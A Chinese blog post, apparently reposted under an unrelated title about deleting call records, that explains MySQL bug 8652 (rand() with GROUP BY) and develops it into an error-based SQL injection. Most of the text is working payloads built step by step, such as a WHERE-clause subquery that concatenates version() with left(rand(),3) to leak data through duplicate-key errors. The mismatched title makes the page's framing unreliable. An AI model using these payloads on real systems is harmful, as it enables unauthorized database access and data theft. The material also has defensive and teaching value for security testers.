如何一下删除通话记录(怎么彻底删除通话记录

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652grouping on certain parts of the result from rand, causes a duplicate key error.重现过程

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

SQL Code复制内容到剪贴板
  1. usemysql;

  2. createtabler1(aint);insertintor1values(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);

  3. selectleft(rand(),3),afromr1groupby1;

  4. selectleft(rand(),3),a,count(*)fromr1groupby1;

  5. selectround(rand(1),1),a,count(*)fromr1groupby1;

于是便可以这样拿来爆错注入了。


复制代码
代码如下:

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;


尝试拿来实战


复制代码
代码如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);


提示错误 选择的列应该为一个。那么。我们换一下


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));




复制代码
代码如下:

1248 (42000): Every derived table must have its own alias


提示多表查询要有别名 那好办


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);


或者


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);


成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止


  • 发表于 2021-04-05 13:17
  • 阅读 ( 218 )
  • 分类:互联网

0 条评论

请先 登录 后评论
腾龙杨杰
腾龙杨杰

723 篇文章

你可能感兴趣的文章

相关问题